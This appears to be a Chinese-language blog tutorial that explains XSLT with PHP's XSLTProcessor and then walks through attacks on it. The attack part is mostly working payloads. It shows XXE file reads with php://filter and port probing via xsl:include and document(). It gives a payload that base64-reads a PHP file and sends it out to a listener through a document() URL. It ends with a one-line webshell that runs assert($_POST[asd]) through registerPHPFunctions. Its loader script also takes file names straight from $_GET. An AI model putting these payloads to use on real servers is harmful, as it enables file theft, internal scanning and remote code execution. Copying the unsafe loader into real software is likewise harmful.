什么是XSLT

可扩展样式表语言转换(XSLT)是一种基于XML的语言,和专门的处理软件一起使用,用于XML文档转换。虽然这个处理过程被称作“转换”,但并没有改变原始文档,而是在原文档内容的基础上创建了一个新的XML文档。然后, 这个新文档会被处理器序列化(输出)为标准的XML语法或其他格式,如HTML或纯文本。XSLT最常用于不同XML模式间的数据转换,或用于将XML数据转换为网页或PDF文档

就是说XSLT 可以把 XML文档转换为其他类型的文档

举个栗子

1.xml写入

1
2
3
4
5
6
<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="1.xsl"?>
<root>
<country>China</country>
<company>abc</company>
</root>

1.xsl写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="ISO-8859-1"?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/">
<html>
<body>
<h2>My address</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th align="left">country</th>
<th align="left">company</th>
</tr>
<xsl:for-each select="root">
<tr>
<td><xsl:value-of select="country"/></td>
<td><xsl:value-of select="company"/></td>
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>

</xsl:stylesheet>

解释一下

<xsl:for-each> 选取指定节点的集中的每个元素

1
<xsl:for-each select="root">  </xsl:for-each>  这里选取xml文档中 root节点

<xsl:value-of> 用于提取某个选定节点的值,并把值添加到转换的输出流中

1
<xsl:value-of select="country"/> 这里的country对应的就是xml文档中<country>China</country> 这个元素

结果

image

进一步

上面只使用了xml xsl两种文件来进行转换,但是有的时候,同一个xml文档,在一个地方可能被要求转换,在另一个地方不要求转换,这就需要动态的来调用

php中可以使用XSLTProcessor 这个类来进行转换

1.php写入

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$xslDoc = new DOMDocument();
$xslDoc->load("1.xsl");

$xmlDoc = new DOMDocument();
$xmlDoc->load("1.xml");

$proc = new XSLTProcessor();
$proc->importStylesheet($xslDoc);
echo $proc->transformToXML($xmlDoc);

?>

解释一下代码

XSLTProcessor 是php中一个用来转换xml文档的类,适用于把一个xml文档转换成另一个类型的xml文档

importStylesheetXSLTProcessor类的一个方法,用来导入xslt样式表

transformToXML 也是XSLTProcessor类的一个方法,适用importStylesheet方法导入的xslt样式表转换xml文档

访问一下1.php

image

和上面一样的结果,把文件名改成参数,就可以更加方便的调用,

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$xslDoc = new DOMDocument();
$xslDoc->load($_GET['xsl']);

$xmlDoc = new DOMDocument();
$xmlDoc->load($_GET['xml']);

$proc = new XSLTProcessor();
$proc->importStylesheet($xslDoc);
echo $proc->transformToXML($xmlDoc);

?>

安全问题

xxe

读文件

类似于传统的xml xslt同样存在这个问题

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY shit SYSTEM "php://filter/read=convert.base64-encode/resource=1.php">
]>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/root">
&shit;
</xsl:template>
</xsl:stylesheet>

结果

image

xsl:include

xslt文档中这么介绍xsl:include

xsl:include 元素是顶层元素(top-level element),把一个样式表中的样式表内容包含到另一个样式表中

1
<xsl:include href="URI"/>

文档内还写明 该元素必须是 <xsl:stylesheet><xsl:transform> 的子节点。

测试一下

端口探测

1.xsl写入

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:include href="http://127.0.0.1:9999/" />
</xsl:stylesheet>

1.php写入

1
2
3
4
5
6
7
8
9
<?php
$xslDoc = new DOMDocument();
$xslDoc->load('1.xsl',LIBXML_NOENT);
$xmlDoc = new DOMDocument();
$xmlDoc->load('1.xml');
$proc = new XSLTProcessor();
$proc->importStylesheet($xslDoc);
echo $proc->transformToXML($xmlDoc);
?>

结果

image

读文件

1.xsl写入

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:include href="php://filter/read=convert.base64-encode/resource=1.php" />
</xsl:stylesheet>

这里由于转换的问题 transformToXML 导致报错只出现了一行内容

image

注意 php默认适用的是libxml libxml2.6版本以后默认禁止了外部实体导入,但是可以使用LIBXML_NOENT这个选项加载外部实体

得找一个办法来解决报错只显示一行内容的问题

no.1 再找一下有没有其他的可以导入外部文档的功能

no.2 利用include可以包含url的特点,外带数据

在xslt中还找到一个document,可以用来访问外部文档

document

document() 函数用于访问外部 XML 文档中的节点 这也就是说 它可以导入外部文件

1
2
3
4
5
document(object,node-set)
object 必需。定义外部 XML 文档的URI。
node-set 可选。用于解析相对 URI。

<xsl:value-of select="document('1.xml')"/>

读文件

这里看到sky师傅用了一个连接加外带的方式 把数据传出来

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:variable name="name1" select="document('php://filter/read=convert.base64-encode/resource=2.php')" />
<xsl:variable name="name2" select="concat('http://127.0.0.1:9999/?a=', $name1)" />
<xsl:variable name="name3" select="document($name2)" />
</xsl:stylesheet>

concat把两个字符串连接起来 最后在调用document 向外发送数据 本地监听9999端口,拿到数据

探测端口

1.xsl写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="ISO-8859-1"?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/">
<html>
<body>
<h2>My address</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th align="left">country</th>
<th align="left">company</th>
</tr>
<xsl:for-each select="root">
<tr>
<td><xsl:value-of select="country"/></td>
<td><xsl:value-of select="company"/></td>
<xsl:value-of select="document('http://127.0.0.1:9999')"/>
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>

</xsl:stylesheet>

访问一下1.php

image

并且这里不需要开启外部实体

解析一句话

test.php写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$xml='<root>assert($_POST[asd]);</root>';
$xsl='<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:qwe="http://php.net/xsl">
<xsl:template match="/root">
<xsl:value-of select="qwe:function(\'assert\',string(.))"/>
</xsl:template>
</xsl:stylesheet>';
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);
$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
$proc->transformToXML($xmldoc);
?>

解释一下上面的代码

$xml='<root>assert($_POST[asd]);</root>'; 定义了一个xml元素

xmlns:qwe="http://php.net/xsl" 导入命令空间 这里导入的是php函数

<xsl:value-of select="qwe:function(\'assert\',string(.))"/> 这里表示将匹配到的内容,作为参数,传给assert函数

<xsl:template match=”/root”> 这里将匹配root节点的内容,assert($_POST[asd]); 下面的xsl:value-of会提取匹配到的内容,然后交给了后面的函数来执行 最终导致了一句话被解析

结果

image

参考链接

https://skysec.top/2018/08/18/%E6%B5%85%E6%9E%90xml%E4%B9%8Bxinclude-xslt/#XSLT

https://paper.seebug.org/36/#xsltwebshell